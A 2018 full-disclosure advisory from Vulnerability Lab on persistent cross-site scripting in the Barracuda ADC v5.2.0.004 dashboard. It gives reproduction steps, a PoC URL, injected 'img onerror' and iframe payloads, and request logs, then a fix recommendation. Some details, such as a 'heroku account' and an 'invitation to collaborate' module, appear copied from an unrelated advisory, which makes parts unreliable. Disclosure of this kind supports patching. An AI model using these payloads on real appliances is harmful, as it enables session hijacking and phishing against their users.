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Date: Thu, 12 Jul 2018 11:32:27 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Barracuda ADC v5.x - Multiple Persistent Vulnerabilities

Document Title:
===============
Barracuda ADC v5.x - Multiple Persistent Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1424


Release Date:
=============
2018-07-12


Vulnerability Laboratory ID (VL-ID):
====================================
1424


Common Vulnerability Scoring System:
====================================
3.8


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
Ensure Application Scalability,Performance, and Security. The Barracuda
Load Balancer ADC is ideal for organizations looking for
a high-performance, yet cost-effective application delivery and security
solution. With the broadest range of hardware and virtual
models, the Barracuda Load Balancer ADC provides maximum flexibility for
organizations looking to build highly secure and scalable
application infrastructure, whether it’s deployed on-premises or in the
cloud.

(Copy of the Vendor Homepage:
https://www.barracuda.com/products/loadbalancer )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple
persistent input validation web vulnerability in the Barracuda Networks
ADC v5.2.0.004 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2018-07-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Bug Bounty Program


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Barracuda networks ADC appliance web-application.
The application-side vulnerability allows remote attackers and
privileged user accounts to inject malicious script codes to compromise
the online service web-application.

The application-side input validation web vulnerability is located in
the `last hour`,`last day` and `last week` time duration value of the
traffic statistics module. Local low privileged application user account
can inject malicious script code with persistent attack vector
to the vulnerable to module. The injection point of the issue is the
vulnerable rules add module and the execution of the malicious code
occurs by the restapi (api) in the Dasboard Index module of the
index.cgi file.

The input form of the appliance web-application are filtered. Even if
the input is filtered the internal validation does not encode the input
or restricts the values. Attacker do not need to bypass the filter
validation because the code executes directly through the main service
in the dashboard web content.

The security risk of the persistent input validation web vulnerability
is estimated as medium with a cvss (common vulnerability scoring system)
count of 3.8. Exploitation of the persistent vulnerability in the
`invitation to collaborate` module requires a low privileged heroku account
with low user interaction. Successful exploitation of the vulnerability
results in session hijacking, persistent phishing attacks, persistent
redirect to external source and persistent manipulation of affected or
connected module context.


Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Traffic - Web Umwandlungen

Vulnerable Parameter(s):
[+] last hour (input time duration)
[+] last days (input time duration)
[+] last week (input time duration)

Affected Module(s):
[+] Dasboard - Traffic


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by
remote attackers and local low privileged application user account with
low or medium user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information and steps below to continue.

Manual steps to reproduce the security vulnerability ...
1. Open the barracuda ADC web-application
2. Surf to the web traffic > web anwendungen module
3. Open the add mode to inject a script code as payload or use the edit
exsiting (payload)
Note: Inject to the last hours, last date and last week input field
4. Now surf back to the main dasboard module
5. The application-side script code execution occurs in the displayed
time duration values
6. Successful reproduce of the persistent security vulnerability!


Vulnerable Module(s): Dashboard > Traffic Statisktiken
Request Method(s): POST


PoC: Link
http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391
&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3C[PERSISTENT
SCRIPT CODE EXECUTION VULNERABILITY!]%3E&realm=
&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...


PoC: Source (Weeks,Days & Hours)
<tbody><tr class="header-row">
                <th class="first-column">Typ
                </th><th>Letzte Stunde</th>
                <th>Letzter Tag</th>
                <th>Letzte Woche</th>
            </tr>
            <tr class="content-row">
                <td class="first-column">Webanfragen</td>
<td><a class="clickable"
href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x"
onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION
VULNERABILITY!]&secondary_tab=access_logs"">5</a></td>
<td><a class="clickable"
href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x"
onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION
VULNERABILITY!]&secondary_tab=access_logs"">27</a></td>
<td><a class="clickable"
href="/cgi-mod/index.cgi?auth_type=Local&et=1422210887&locale=de_DE&password=997dba782f91e37a5fa449266f8bf8fc&
realm=&user=guest&primary_tab=TRAFFIC MANAGEMENT "><img src="x"
onerror="prompt(23)[PERSISTENT SCRIPT CODE EXECUTION
VULNERABILITY!]&secondary_tab=access_logs"">389</a></td>
            </tr>
            <tr class="content-row odd-row">
                <td class="first-column">Verbindungen</td>
                <td>5</td>
                <td>43</td>
                <td>438</td>
            </tr>
        </tbody>

Note: The execution of the code occurs in the dasboard next to the
traffic stats module after the code has been injected to the vulnerable
time duration values. (view pictures!)


--- PoC Session Logs [GET] (Execution) ---
Status: 200[OK]
GET
http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi?password=f38e497b0e70d249e8399dc0e0850898&et=1422210471&auth_type=Local&half_width=&locale=de_DE&realm=&screen_name=gslb_regions&user=guest

Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[-1]
Mime Type[application/json]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)
Gecko/20100101 Firefox/35.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]

Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...]
      Cookie[_ga=GA1.2.608616028.1422207688;
_ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[application/json; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      Cache-Control[no-cache, no-store, max-age=0]
      X-Frame-Options[SAMEORIGIN]
-
GET
http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...
Mime Type[unbekannt]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)
Gecko/20100101 Firefox/35.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.2.608616028.1422207688;
_ga=GA1.2.608616028.1422207688; _gat=1]
-
Status: 200[OK]
GET
http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422210471&locale=de_DE&password=f38e497b0e70d249e8399dc0e0850898&realm=&user=guest&primary_tab=TRAFFIC%20MANAGEMENT

Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)
Gecko/20100101 Firefox/35.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]

Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...]
      Cookie[_ga=GA1.2.608616028.1422207688;
_ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html; charset=utf-8]
      Connection[keep-alive]
      Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/]
      Content-Length[57595]
      Pragma[no-cache]
      X-Frame-Options[SAMEORIGIN]
-
Status: 200[OK]
GET
http://adc.localhost:8080/cgi-mod/index.cgi?password=97cba2605a60649509c1525c2d243c6d&et=1422210391&auth_type=Local&locale=de_DE&primary_tab=TRAFFIC%20MANAGEMENT%20%22%3E%3Ciiframe%20src=a%3E%20%20%22%3Ciframe%3E&realm=&secondary_tab=gslb_regions&user=guest&ord_state_sel=IA&ord_ip=...&ord_net=...

Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)
Gecko/20100101 Firefox/35.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.2.608616028.1422207688;
_ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html; charset=utf-8]
      Connection[keep-alive]
      Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/_gat=1; path=/]
      Content-Length[112822]
      Pragma[no-cache]
      X-Frame-Options[SAMEORIGIN]


Reference(s):
http://adc.localhost:8080/
http://adc.localhost:8080/cgi-mod/index.cgi
http://adc.localhost:8080/cgi-mod/build_status_expiration_display_content.cgi


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the
vulnerable last hour, last day and last week input field values.
Restrict the input and disallow special chars. Filter the context of the
values to prevent an execution of script code and implement
a secure valudatuib mechanism to the broken output in the dashboard service.

Note: The issue was reported in 2016 to the barracuda networks developer
team. The issue was finally resolved in 2017 Q1 - Q4.
The disclosure process took about 1 year to complete by recognizing the
patch cycle.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability
in the barracuda networks adc appliance web-application is estimated as
medium.



Credits & Authors:
==================
Benjamin K.M. (Vulnerability Laboratory Core Research Team) -
https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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